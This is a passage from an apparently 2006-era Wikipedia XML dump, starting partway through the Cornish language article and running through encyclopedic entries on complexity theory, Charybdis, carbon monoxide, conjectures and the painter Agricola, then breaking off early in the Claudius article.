&lt;/center&gt;
*''[[inflected language|inflected]] (or [[grammatical conjugation|conjugated]]) [[preposition|prepositions]].''  A preposition combines with a personal pronoun to give a separate word form.  For example, ''gans'' (with, by) + ''my'' (me) -&gt; ''genef''; ''gans'' + ''ef'' (him) -&gt; ''ganso''.
*''No indefinite [[article (grammar)|article]].''  ''Cath'' means &quot;a cat&quot; (there is, however a definite article: ''an gath'' means &quot;the cat&quot;).
*''For other grammatical characteristics of Cornish, see the section on grammar in the [[Welsh language]] article, until this section is finished.''

==Dialects==
There are, essentially, four 'dialects' of Cornish.  They are not dialects in the normal sense (though regional variations exist to some degree), but rather differences in the manner of revival.  

See: [[Cornish language#Revival|Revival]]

It is also possible that a variety of Cornish was spoken in [[Devon]] as late as the [[14th century]]: Then President of the Devonshire Association, Sir Henry Duke, said in 1922 that &quot;various writers have made (assertions) of the continuance of British occupancy and of the British tongue in South and West Devon to a time well within the reigns of the Plantagenets.  Risdon, for example, says that the Celtic tongue was spoken throughout the South Hams in Edward the First's time&quot;.

==Examples==
This table compares some Cornish words (written using UCR and Kernewek Kemmyn orthographies) with equivalents from its sister Brythonic languages of Welsh and Breton.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; padding=&quot;5&quot;
!Cornish (UCR) || Cornish (KK)       || Welsh    ||  Breton       ||  English    
|--
| Kernowek || Kernewek    || Cernyweg|| Kerneveureg || Cornish
|--
| gwenenen  || gwenenenn	|| gwenynen  || gwenanenn    || bee
|--
| chayr, cadar || kador		|| cadair    || kador     || chair
|--
| cues || keus          || caws      || keuz    || cheese
|--
| mesporth || yn-mes        || y ffordd allan    || er-maez      || exit
|--
| codha || koedha        || cwympo    ||	kouezhañ	     || (to) fall
|--
| gavar || gaver         || gafr      ||	gavr	     || goat
|--
| chy || chi		|| tŷ        ||	ti	     || house
|--
| gweus || gweus         || gwefus    || gweuz	     || lip
|--
| aber || aber	|| aber, genau     || aber        || mouth (river)
|--
| nyver || niver         || rhif, nifer     || niver	     || number
|--
| peren || perenn	|| gellygen  || perenn	     || pear
|--
| scol || skol   	|| ysgol     || skol	     || school
|--
| megy || megi	        || mygu	     || mogediñ	     || (to) smoke
|--
| steren || sterenn	|| seren     || steredenn  || star
|--
| hedhyw || hedhyw	|| heddiw    || hiziv	     || today
|--
| whybana || hwibana	|| chwibanu  || c'hwibanat   ||(to) whistle
|}

==Common phrases==
{|
!Cornish
!Pronouciation
!English
|--
|'''Myttin da''' || 'mitten dah' || &quot;good morning&quot;
|--
|'''Dydh da''' || 'dith dah' || &quot;good day&quot;
|--
|}


==See also==
*[[List of Brythonic languages]]
*[[Languages in the United Kingdom]]
*[[UK topics]]

==External links==
{{InterWiki|code=kw}}
*[http://www.cornish-language-news.org/ An Burow]Cornish Language News Website
*[http://www.cswf.org.uk/index.html Uniting the Cornish language]
*[http://www.cornish-language.org/ Cornish Language Fellowship]
*[http://www.agantavas.org.uk/ Agan Tavas]&amp;mdash;The Society for the Promotion of the Cornish language
*[http://www1.fa.knaw.nl/mercator/regionale_dossiers/regional_dossier_cornish_in_uk.htm Cornish - The Cornish Language in education in the United Kingdom] 
*[http://www.bibelkernewek.com/ Bibel Kernewek]Cornish Bible Translation Project

*[http://wikisource.org/wiki/Main_Page:Kernewek The &gt;&gt;NEW&lt;&lt; Cornish edition of Wikisource]
*[http://www.evertype.com/celtcong/ International Celtic Congress]
*[http://www.evertype.com/gram/ecd.html English-Cornish Dictionary]
*[http://www.evertype.com/gram/tn.html Testament Noweth]&amp;mdash;New Testament in Cornish
*[http://www.websters-online-dictionary.org/definition/Cornish-english/ Cornish-English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition.
*[http://www.bbc.co.uk/cornwall/connected/stories/new_cornwall_language.shtml ''Blas Kernewek'' - A Taste of Cornish] - basic Cornish lessons hosted by [[BBC Cornwall]]
*[http://www.cornishbible.com/ Downloadable Machine Translation of the Entire Bible into Cornish with English Parallel Text]
*[http://www.bbc.co.uk/voices/multilingual/cornish.shtml Cornish today] by Kenneth MacKinnon - from the [[BBC]]

==References==
* [http://www.cornwall.gov.uk/cornish/GOSW/education.htm Cornish Language Study] - Cornwall County Council survey of Cornish teaching
* [http://www.cornish-language.org/english/faq.asp Cornish Language Fellowship FAQs]

[[Category:Brythonic languages]]
[[Category:Cornish language]]
[[Category:Languages of the United Kingdom|Cornish]]
[[Category:Minority languages]]

[[af:Kornies]]
[[als:Kornisch]]
[[ast:Córnicu]]
[[be:Корнская мова]]
[[br:Kerneveureg]]
[[ca:Còrnic]]
[[cs:Kornština]]
[[cy:Cernyweg]]
[[da:Kornisk]]
[[de:Kornisch]]
[[el:Pow Sows]]
[[es:Idioma córnico]]
[[eo:Kornvala lingvo]]
[[eu:Kornuallesera]]
[[fr:Cornique]]
[[ga:Coirnis]]
[[ko:콘월어]]
[[it:Lingua cornica]]
[[he:קורנית (שפה)]]
[[kw:Kernewek]]
[[la:Lingua Cornovica]]
[[li:Cornish]]
[[nl:Cornisch]]
[[ja:コーンウォール語]]
[[no:Kornisk språk]]
[[oc:Cornic]]
[[pl:Język kornijski]]
[[pt:Língua córnica]]
[[ro:Pow Sows]]
[[simple:Cornish language]]
[[fi:Kornin kieli]]
[[sv:Korniska]]
[[zh:康瓦爾語]]</text>
    </revision>
  </page>
  <page>
    <title>Complexity theory</title>
    <id>6132</id>
    <revision>
      <id>40508099</id>
      <timestamp>2006-02-21T02:03:15Z</timestamp>
      <contributor>
        <ip>71.254.85.19</ip>
      </contributor>
      <text xml:space="preserve">'''Complexity theory''' can refer to more than one thing:

* '''[[Computational complexity theory]]''': a field in [[theoretical computer science]] and [[mathematics]] dealing with the resources required during computation to solve a given problem.
* The theoretical treatment of '''[[Kolmogorov complexity]]''' of a [[string (computer science)|string]] is studied in [[algorithmic information theory]] by identifying the length of the shortest binary program which can output that string.
* '''[[Systems theory]]''' (or ''systemics'' or ''general systems theory''): an [[interdisciplinarity|interdisciplinary]] field including [[engineering]], [[biology]] and [[philosophy]] that incorporates science to study large systems.
* '''Complexity Theory''' is sometimes used as a broad term addressing the study of '''[[complex system]]s''', including subjects such as [[chaos theory]], [[artificial life]], and [[genetic algorithm]]s.
* '''Complexity Theory''' as a simplified concept alludes to systems' &quot;sensitive dependence on initial conditions.&quot; [eg. the waving of a butterfly's wings today changes weather patterns tomorrow]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Charybdis</title>
    <id>6134</id>
    <revision>
      <id>42152838</id>
      <timestamp>2006-03-04T04:10:32Z</timestamp>
      <contributor>
        <ip>69.209.49.21</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Charybdis.PNG|right|Engraving of Charybdis]]
In [[Greek mythology]], '''Charybdis''', or '''Kharybdis''' (&quot;sucker down&quot;, [[Greek language|Greek]] Χάρυβδις), is a [[sea monster]], daughter of [[Poseidon]] and [[Gaia (mythology)]], who swallows huge amounts of water three times a day and then spouts it back out again, forming an enormous whirlpool. She lay on one side of a narrow channel of water. 

On the other side of the strait was [[Scylla]], another sea-monster. The two sides of the strait are within an arrow's range of each other, so close that sailors attempting to avoid Charybdis will pass too close to Scylla and vice versa.  The phrase ''between Scylla and Charybdis'' has come to mean being in a state where one is between two dangers and moving away from one will cause you to be in danger from the other and may be the genesis of the phrase ''&quot;between a rock and a hard place&quot;'' speaking of the rock upon which Scylla dwelt and the hard place being the whirlpool of Charybdis.

The [[Argonauts]] were able to avoid both dangers because they were guided by [[Thetis]], one of the [[Nereids]]. [[Odysseus]] was not so fortunate; he chose to risk Scylla at the cost of some of his crew rather than lose the whole ship to Charybdis. ([[Homer]]'s ''[[Odyssey]]'', Book XII).

Traditionally, the location of Charybdis has been associated with the [[Strait of Messina]] off the coast of [[Sicily]], opposite the rock called [[Scylla]]. The whirlpool there is caused by the meeting of currents, but is seldom dangerous. Recently scholars have looked again at the location and suggested this association was a misidentification and that a more likely origin for the story could be found close by [[Cape Skilla]] in north west [[Greece]].

Charybdis was originally a sea-[[nymph]] who flooded land to enlarge her father's underwater kingdom, until [[Zeus]] turned her into a [[monster]]. 

[[category:Greek mythology]][[Category:Nymphs]][[Category:Whirlpools]]

[[bg:Харибда]]
[[de:Charybdis]]
[[el:Χάρυβδη]]
[[es:Caribdis]]
[[fr:Charybde]]
[[it:Cariddi]]
[[lt:Charibdė]]
[[lb:Charybdis]]
[[nl:Charybdis]]
[[sl:Karibda]]
[[fi:Skylla ja Kharybdis]]
[[sv:Karybdis]]
[[uk:Харібда]]</text>
    </revision>
  </page>
  <page>
    <title>Carbon monoxide</title>
    <id>6136</id>
    <revision>
      <id>42015856</id>
      <timestamp>2006-03-03T05:58:37Z</timestamp>
      <contributor>
        <username>Smokefoot</username>
        <id>698909</id>
      </contributor>
      <minor />
      <comment>/* Chemistry */ reorg</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090;&quot;

! {{chembox header}} | {{PAGENAME}}
|-
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| Carbon monoxide
|-
| Other names
| Carbonic oxide&lt;br/&gt;Coal gas
|-
| [[Chemical formula|Molecular formula]]
| CO
|-
| [[Molar mass]]
| 28.01 g/mol
|-
| Appearance
| Colourless, odourless gas
|-
| [[CAS registry number|CAS number]]
| &lt;nowiki&gt;[630-08-0]&lt;/nowiki&gt;
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 0.789 g/cm&lt;sup&gt;3&lt;/sup&gt;, liquid&lt;br/&gt;1.250 g/L at 0° C, 1 atm.&lt;br /&gt;1.145 g/L at 25° C, 1 atm.&lt;br/&gt;([[lighter than air]])
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| 0.0026 g/100 ml (20 °C)
|-
| in [[ethanol]]&lt;br/&gt;in [[methanol]]
| Soluble
|-
| [[Melting point]]
| -205 °C (68 K) &lt;!-- (mention any decomposition) --&gt;
|-
| [[Boiling point]]
| -192 °C (81 K)
|-
! {{chembox header}} | Structure
|-
| [[Orbital_hybridisation#Molecule_shape|Molecular shape]]
&lt;!-- for simple covalent molecules (omit for most large molecules, ionics and complexes) --&gt;
| Linear &lt;!-- e.g. trigonal bipyramidal --&gt;
|-
| [[Dipole#Molecular_dipoles|Dipole moment]]
| 0.112 [[Debye|D]] (3.74&amp;times;10&lt;sup&gt;&amp;minus;31&lt;/sup&gt; C·m)
|-
! {{chembox header}} | Hazards &lt;!--  Summary only- MSDS entry provides more complete information --&gt;
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} (data page)#Material Safety Data Sheet|External MSDS]]
|-
| [[Directive 67/548/EEC|EU classification]]
| Highly flammable ('''F+''')&lt;br/&gt;Repr. Cat. 1&lt;br/&gt;Toxic ('''T''')
|-
| [[NFPA 704]]
| [[Image:nfpa_h4.png]][[Image:nfpa_f2.png]][[Image:nfpa_r2.png]]
|-
| [[List of R-phrases|R-phrases]]
| {{R61}}, {{R12}}, {{R23}}, {{R48/23}}
|-
| [[List of S-phrases|S-phrases]]
| {{S53}}, {{S45}}
|-
| [[Flash point]]
| Flammable gas
|-
| [[RTECS]] number
| FG3500000
|-
! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure &amp; properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|''&amp;epsilon;&lt;sub&gt;r&lt;/sub&gt;'']], etc. 
|-
| [[{{PAGENAME}} (data page)#Thermodynamic properties|Thermodynamic data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Related compounds 
| [[Carbon]]&lt;br/&gt;[[Methane]]&lt;br/&gt;[[Carbon dioxide]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25&amp;deg;C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}

'''Carbon monoxide''', chemical formula CO, is a colorless, odorless, tasteless, flammable and highly toxic [[gas]]. It is a major product of the incomplete [[combustion]] of [[carbon]] and carbon-containing compounds. It is less dense than [[Earth's atmosphere|air]] under ordinary conditions, however it accumulates on the ground, meaning that if poisoning causes loss of consciousness the amount of carbon monoxide inhaled increases and so fatality is radically increased. It is very slightly soluble in [[water]] and burns in air with a characteristic blue flame, producing [[carbon dioxide]]; it is a component of producer gas and [[water gas]], which are widely used artificial fuels. It is a reducing agent, removing [[oxygen]] from many compounds and is used in the reduction of metals, e.g., [[iron]] , from their ores. At high pressures and elevated temperatures it reacts with [[hydrogen]] in the presence of a [[catalyst]] to form [[methanol]]. Carbon monoxide is formed by combustion of carbon in oxygen at high temperatures when there is an excess of carbon. It is also formed with a byproduct oxygen by decomposition of carbon dioxide at very high temperatures (above 2,000 °C). It is present in the exhaust of [[internal-combustion engine]]s, often the exhaust of [[automobile]]s, and is generated in coal stoves, furnaces, and gas appliances that do not get enough air. This may be due to insufficient [[ventilation]] or other reasons.

==Polluting effect==
Carbon monoxide from automobile and industrial emissions is a dangerous pollutant that may contribute to the [[greenhouse effect]] and global warming. In urban areas carbon monoxide, along with [[aldehydes]], reacts photochemically to produce [[peroxy radicals]]. Peroxy radicals react with [[nitrogen oxide]] to increase the ratio of NO&lt;sub&gt;2&lt;/sub&gt; to NO, which reduces the quantity of NO that is available to react with [[ozone]]. Carbon monoxide is also a constituent of tobacco smoke.

==Toxicity==
{{main|Carbon monoxide poisoning}}
Carbon monoxide is dangerous and life-threatening to [[human]]s and other forms of air-breathing [[life]], as inhaling even relatively small amounts of it can lead to hypoxic injury, neurological damage, and possibly death. A concentration of as little as 0.04% (400 parts per million) carbon monoxide in the air can be fatal. The gas is especially dangerous because it is not easily detected by human senses. Early symptoms of carbon monoxide poisoning include drowsiness and headache, followed by unconsciousness, respiratory failure, and death. First aid for a victim of carbon monoxide poisoning requires access to fresh air; administration of artificial respiration and, if available, oxygen; and, as soon as possible, medical attention.

When carbon monoxide is inhaled, it takes the place of oxygen in [[hemoglobin]], the red blood pigment that normally carries oxygen to all parts of the body. Because carbon monoxide binds to hemoglobin several hundred times as strongly as does oxygen, its effects are cumulative and long-lasting, causing [[oxygen starvation]] throughout the body.  Prolonged exposure to fresh air (or pure oxygen) is required for the CO-tainted hemoglobin ([[carboxyhemoglobin]]) to clear.

The effects of carbon monoxide in parts per million are listed below:
:100 ppm (0.01%) Slight headache in two to three hours 
:200 ppm (0.02%) Slight headache within two to three hours 
:400 ppm (0.04%) Frontal headache within one to two hours 
:800 ppm (0.08%) Dizziness, nausea, and convulsions within 45 minutes. Insensible within two hours. 
:1,600 ppm (0.16%) Headache, dizziness, and nausea within 20 minutes. Death in less than two hours. 
:3,200 ppm (0.32%) Headache, dizziness and nausea in five to ten minutes. Death within 30 minutes. 
:6,400 ppm (0.64%) Headache and dizziness in one to two minutes. Death in less than 20 minutes. 
:12,800 ppm (1.28%) Death in less than three minutes.

In addition, a recent report concludes that carbon monoxide exposure can lead to significant loss of [[lifespan]] after exposure due to damage to the [[heart muscle]]. [http://jama.ama-assn.org/cgi/content/short/295/4/398]

Carbon monoxide detectors for homes are now readily available and are increasingly being required by municipal building codes.

== History ==
Carbon monoxide was first prepared by the [[France|French]] [[chemist]] de Lassone in [[1776]] by heating [[zinc]] oxide with [[Coke (fuel)|coke]] but thought it to be [[hydrogen]] by mistake as it burned with a [[blue]] [[flame]]. It was identified as a compound containing [[carbon]] and [[oxygen]] by the English chemist [[William Cruikshank]] in the year [[1800]].

The toxic properties of CO were first thoroughly investigated by the French physiologist [[Claude Bernard]] around [[1846]]. He poisoned dogs with the gas, and noticed that their blood was more ''rutilant'' in all the vessels. 'Rutilant' is a French word, but also has an entry in English dictionaries, meaning ruddy, shimmering, or golden. However, it was translated at the time as crimson, scarlet, and now is famously known as 'cherry pink'.

During [[World War Two]], carbon monoxide was used to keep [[motor vehicle]]s running in parts of the world where [[gasoline]] was scarce. External charcoal or wood burners were fitted, and the carbon monoxide produced by [[gasification]] was piped to the [[carburetor]]. The CO in this case is known as &quot;producer gas&quot;.

==Chemistry==

The structure of the CO molecule is best described using [[molecular orbital]] theory. The length of the [[chemical bond|bond]] (0.111 [[nanometre|nm]]) indicates that it has a partial triple bond character. The molecule has a small [[dipole moment]] and is often represented by three resonance structures:

:[[image:Carbon_Monoxide.png|300px]]

Note that the [[octet rule]] is violated for the carbon atom in the two structures on the right. 

Nitrogen is isoelectronic to carbon monoxide, which means it has the same electron configuration. This leads to some similarities in physical and chemical behavior.

Many other metals may form complexes containing covalently attached carbon monoxide, although many are not made directly from CO.  For instance, boiling [[ruthenium]] trichloride with [[triphenyl phosphine]] in methoxyethanol (or DMF) gives [RuHCl(CO)(PPh&lt;SUB&gt;3&lt;/SUB&gt;)&lt;SUB&gt;3&lt;/SUB&gt;]. [[Nickel carbonyl]] is special as it  form by the direct combination of carbon monoxide and [[nickel]] metal at room temperature. [[Nickel carbonyl]]  decomposes readily back to Ni and CO upon contact with hot surfaces, and this method was once used for the industrial purification of nickel.

As in nickel carbonyl and other carbonyls, the electron pair on the carbon interacts - or in lab jargon - is donated to the metal. In this case carbon monoxide is regarded as a '''carbonyl''' [[ligand]].

Carbon monoxide and [[methanol]] react in the presence of a homogeneous [[rhodium]] [[catalyst]] and HI to give [[acetic acid]] in the [[Monsanto process]], which is responsible for most of the industrial production of [[acetic acid]].

The [[CAS registry number]] of carbon monoxide is 630-08-0.

== Carbon monoxide in the atmosphere ==

[[Image:Mopitt first year carbon monoxide.jpg|thumb|240px|[[MOPITT]] [[2000]] global [[carbon monoxide]] ]]

Carbon monoxide, though thought of as a pollutant today, has always been present in the atmosphere, chiefly as a product of [[volcano|volcanic activity]]. It occurs dissolved in molten volcanic rock at high [[pressure]]s in the earth's [[mantle (geology)|mantle]]. Carbon monoxide contents of volcanic gases vary from less than 0.01 % to as much as 2 % depending on the volcano. It also occurs naturally in [[bushfire]]s. Because natural sources of carbon monoxide are so variable from year to year, it is extremely difficult to accurately measure natural emissions of the gas.

Carbon monoxide has an indirect radiative forcing effect by elevating concentrations of [[methane]] and [[troposphere|tropospheric]] [[ozone]] through chemical reactions with other atmospheric constituents (e.g., the [[hydroxyl radical]], '''OH''') that would otherwise destroy them. Carbon monoxide is created when carbon-containing fuels are burned incompletely. Through natural processes in the atmosphere, it is eventually oxidized to [[carbon dioxide]]. Carbon monoxide concentrations are both short-lived in the atmosphere and spatially variable.

== See also ==
* [[Carbon monoxide (data page)]]

==External links==
*{{ecb}}
*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc00/icsc0023.htm International Chemical Safety Card 0023]
*[http://www.npi.gov.au/database/substance-info/profiles/19.html National Pollutant Inventory - Carbon Monoxide]
*[http://www.cdc.gov/niosh/npg/npgd0105.html NIOSH Pocket Guide to Chemical Hazards]
*{{PubChemLink|281}}
*[http://www.epa.gov/ebtpages/airairpocarbonmonoxide.html United States Environmental Protection Agency Carbon Monoxide page]



[[Category:Oxides]]
[[Category:Inorganic carbon compounds]]
[[Category:Pollutants]]
[[Category:Smog]]
[[Category:Toxicology]]
[[Category:Gases]]

[[ar:أول أكسيد الكربون]]
[[ca:Monòxid de carboni]]
[[cs:Oxid uhelnatý]]
[[da:Kulmonoxid]]
[[de:Kohlenstoffmonooxid]]
[[es:Monóxido de carbono]]
[[eo:Karbona monooksido]]
[[fr:Monoxyde de carbone]]
[[gl:Monóxido de carbono]]
[[ko:일산화 탄소]]
[[id:Karbon monoksida]]
[[it:Monossido di carbonio]]
[[he:פחמן חד חמצני]]
[[nl:Koolmonoxide]]
[[ja:一酸化炭素]]
[[no:Karbonmonoksid]]
[[nn:Karbonmonoksid]]
[[pl:Tlenek węgla]]
[[pt:Monóxido de carbono]]
[[ru:Монооксид углерода]]
[[sk:Oxid uhoľnatý]]
[[fi:Hiilimonoksidi]]
[[sv:Kolmonoxid]]
[[vi:Mônôxít cacbon]]
[[tr:Karbonmonoksit]]
[[zh:一氧化碳]]</text>
    </revision>
  </page>
  <page>
    <title>Conjecture</title>
    <id>6138</id>
    <revision>
      <id>42075167</id>
      <timestamp>2006-03-03T17:29:08Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>/* Use of conjectures in conditional proofs */ tidy up</comment>
      <text xml:space="preserve">In [[mathematics]], a '''conjecture''' is a mathematical statement which has been proposed as a true statement, but which no one has yet been able to [[mathematical proof|prove]] or disprove.

Once a conjecture has been proven, it becomes known as a [[theorem]], and it joins the realm of known mathematical facts. Until that point in time, [[mathematician]]s must be extremely careful about their use of a conjecture within logical structures.

==Famous conjectures==

Until its proof in 1995, the most famous of all conjectures was the mis-named [[Fermat's last theorem]] - this conjecture became a true theorem only after its proof.  In the process, a special case of the [[Taniyama-Shimura theorem|Taniyama-Shimura conjecture]], itself a longstanding open problem, was proven; this conjecture has since been completely proven.

Other famous conjectures include:

* There are no odd [[perfect number]]s
* [[Goldbach's conjecture]]
* The [[twin prime conjecture]]
* The [[Collatz conjecture]]
* The [[Riemann hypothesis]]
* [[Complexity classes P and NP|'''P''' &amp;ne; '''NP''']]
* The [[Poincaré conjecture]]
* The [[abc conjecture]]

The [[Langlands program]] is a far-reaching web of '[[unifying conjecture]]s' that link different subfields of mathematics, e.g. [[number theory]] and the [[representation theory]] of [[Lie group]]s; some of these conjectures have since been proved.

==Counterexamples==

Unlike the empirical sciences, mathematics is based on ''provable'' truth; one cannot apply the adage about &quot;the exception that proves the rule&quot;. Although many of the most famous conjectures have been tested across an astounding range of numbers, this is no guarantee against a single [[counterexample]], which would immediately disprove the conjecture. For example, the [[Collatz conjecture]], which concerns whether or not certain [[sequence]]s of [[integer]]s terminate, has been tested for all integers up to 1.2 &amp;times; 10 &lt;sup&gt;12&lt;/sup&gt; (over a million millions); however, it still has only the status of a conjecture -- perhaps there is a counterexample awaiting researchers at 1.2 &amp;times; 10&lt;sup&gt;12&lt;/sup&gt; + 1.

==Use of conjectures in conditional proofs==

Sometimes a conjecture is called a ''hypothesis'' when it is used frequently and repeatedly as an assumption in proofs of other results. For example, the [[Riemann hypothesis]] is a conjecture from [[number theory]] that (amongst other things) makes predictions about the distribution of [[prime number]]s. Few number theorists doubt that the Riemann hypothesis is true (it is said that [[Atle Selberg]] was once a sceptic, and [[J. E. Littlewood]] always was). In anticipation of its eventual proof, some have proceeded to develop further proofs which are contingent on the truth of this conjecture. These are called ''[[conditional proof]]s'': the conjectures assumed appear in the hypotheses of the theorem, for the time being.

These &quot;proofs&quot;, however, would fall apart if it turned out that the hypothesis was false, so there is considerable interest in verifying the truth or falsity of conjectures of this type. There is also something of a question mark over conditional proofs and their 'professional' status in mathematics; are they real work? In the end they must be judged as one possible problem solving technique amongst many: they amount to ''reducing a question to a question we have not already solved'', as opposed to the standard reduction to a question we already know how to solve.

==Undecidable conjectures==

Not every conjecture ends up being proven true or false. The [[continuum hypothesis]], which tries to ascertain the relative [[cardinal number|cardinality]] of certain [[Infinity|infinite]] [[set]]s, was eventually shown to be [[undecidable]] (or independent) from the generally accepted set of [[Zermelo-Fraenkel axiom|axioms of set theory]]. It is therefore possible to adopt this statement, or its negation, as a new axiom in a consistent manner (much as we can take [[Euclid]]'s [[parallel postulate]] as either true or false).

In this case, if a proof uses this statement, researchers will often look for a new proof that ''doesn't'' require the hypothesis (in the same way that it is desirable that statements in [[Euclidean geometry]] be proved using only the axioms of neutral geometry, i.e. no parallel postulate.) The one major exception to this in practice is the [[axiom of choice]] -- unless studying this axiom in particular, the majority of researchers do not usually worry whether a result requires the axiom of choice.

== Usage outside of mathematics==

'''Conjectural''' means presumed to be real, true, or genuine, mostly based on inconclusive grounds (cf. [[hypothetical]]). The term was used by [[Karl Popper]], in the context of scientific philosophy.

==See also==
*[[List of conjectures]]

[[Category:Conjectures|*]]

[[da:Formodning (matematik)]]
[[de:Vermutung]]
[[fr:Conjecture]]
[[it:Congettura]]
[[he:השערה (מתמטיקה)]]
[[hu:Sejtés]]
[[ru:Гипотеза]]
[[sv:Förmodan]]
[[th:ข้อความคาดการณ์]]
[[tr:Konjektür]]
[[zh:猜想]]</text>
    </revision>
  </page>
  <page>
    <title>Christoph Ludwig Agricola</title>
    <id>6139</id>
    <revision>
      <id>28106879</id>
      <timestamp>2005-11-12T11:05:51Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Christoph Ludwig Agricola''' ([[November 5]], [[1667]] - [[1719]]) was a [[Germany|German]] landscape [[painter]]. He was born and died at [[Regensburg]] (Ratisbon).

He spent a great part of his life in travel, visiting [[England]], the [[Netherlands]] and[[France]], and residing for a considerable period at [[Naples, Italy|Naples]].

His numerous landscapes, chiefly cabinet pictures, are remarkable for fidelity to nature, and especially for their skilful representation of varied phases of climate.  In composition his style shows the influence of [[Caspar Poussin]], while in light and colour he imitates [[Claude Lorrain]].  

His pictures are to be found in [[Dresden, Germany|Dresden]], [[Braunschweig (city)|Braunschweig]], [[Vienna, Austria|Vienna]], [[Florence, Italy|Florence]], Naples and many other towns of both Germany and [[Italy]]. 


==References==
*{{1911}}

[[Category:1667 births|Agricola, Christoph Ludwig]]
[[Category:1719 deaths|Agricola, Christoph Ludwig]]
[[Category:German painters|Agricola, Christoph Ludwig]]
[[Category:Landscape artists|Agricola, Christoph Ludwig]]</text>
    </revision>
  </page>
  <page>
    <title>Claudius</title>
    <id>6140</id>
    <revision>
      <id>42027579</id>
      <timestamp>2006-03-03T08:27:06Z</timestamp>
      <contributor>
        <ip>128.252.188.159</ip>
      </contributor>
      <text xml:space="preserve">{{featured article}}
{{otheruses}}
[[Image:claud_1.jpg|right|thumb|300px|A statue of Emperor Claudius]]

'''Tiberius Claudius Caesar Augustus Germanicus''' ([[August 1]] [[10]] [[BCE]] &amp;ndash; [[October 13]] [[54]] [[CE]]), previously '''Tiberius Claudius Drusus Nero Germanicus''', was the fourth [[Roman Emperor]] of the [[Julio-Claudian dynasty]], ruling from [[January 24]] [[41]] to his death in 54. Born in [[Lugdunum]] in [[Gaul]] (modern-day [[Lyon]], [[France]]), to [[Nero Claudius Drusus|Drusus]] and [[Antonia Minor]], he was the first Roman Emperor to be born outside [[Italia (Roman province)|Italy]]. 

Claudius was considered a rather unlikely man to become emperor. He was reportedly afflicted with some type of disability, and his family had virtually excluded him from public office until his [[consul]]ship with his nephew [[Caligula]] in 37. This infirmity may have saved him from the fate of many other Roman nobles during the purges of [[Tiberius]]' and Caligula's reigns. His very survival led to his being declared emperor after Caligula's assassination, at which point he was the last adult male of his family. Despite his lack of political experience, Claudius proved to be an able administrator and a great builder of public works. His reign saw an expansion of the empire, including the [[Roman conquest of Britain|conquest of Britain]]. He took a personal interest in the law, presided at public trials, and issued up to twenty edicts a day. However, he was seen as vulnerable throughout his rule, particularly by the nobility. Claudius was constantly forced to shore up his position &amp;mdash; resulting in the deaths of many [[Roman Senator|senators]]. He also suffered tragic setbacks in his personal life, one of which led to his murder. These events damaged his reputation among the ancient writers. More recent historians have revised this opinion.

==Claudius' affliction and personality==
[[Image:Claudiusjupiter2a.jpg|left|thumb|350px|Detail of statue of Claudius as Jupiter. Image courtesy [http://www.vroma.org The VRoma Project].]]

The historian [[Suetonius]] describes the physical manifestations of Claudius' affliction in detail&lt;ref&gt;Suet. ''Claud.'' 30.&lt;/ref&gt;. His knees were weak and gave way under him and his head shook. He stammered and his speech was confused. He slobbered and his nose ran when excited. The [[Stoicism|Stoic]] [[Seneca the younger|Seneca]] states in his ''Apocolocyntosis'' that Claudius' voice belonged to no land animal, and that his hands were weak as well&lt;ref&gt;Seneca ''Apocolo.'' 5, 6.&lt;/ref&gt;. However, he showed no physical deformity, as Suetonius notes that when calm and seated he was a tall, well-built figure of ''dignitas''&lt;ref&gt;Suet. ''Claud.'' 30.&lt;/ref&gt;. When angered or stressed, his symptoms became worse. Historians agree that this improved upon his accession to the throne&lt;ref&gt;Suet. ''Claud.'' 31.&lt;/ref&gt;. Claudius himself claimed that he had exaggerated his ailments to save his own life.

The modern diagnosis has changed several times in the past century. Prior to World War II, [[infantile paralysis]] (or polio) was widely accepted as the cause. This is the diagnosis used in [[Robert Graves]]' Claudius novels, first published in the 1930s. Polio does not explain many of the described symptoms, however, and a more recent theory implicates [[cerebral palsy]] as the cause, as outlined by Ernestine Leon &lt;ref&gt;Leon (1948).&lt;/ref&gt;.

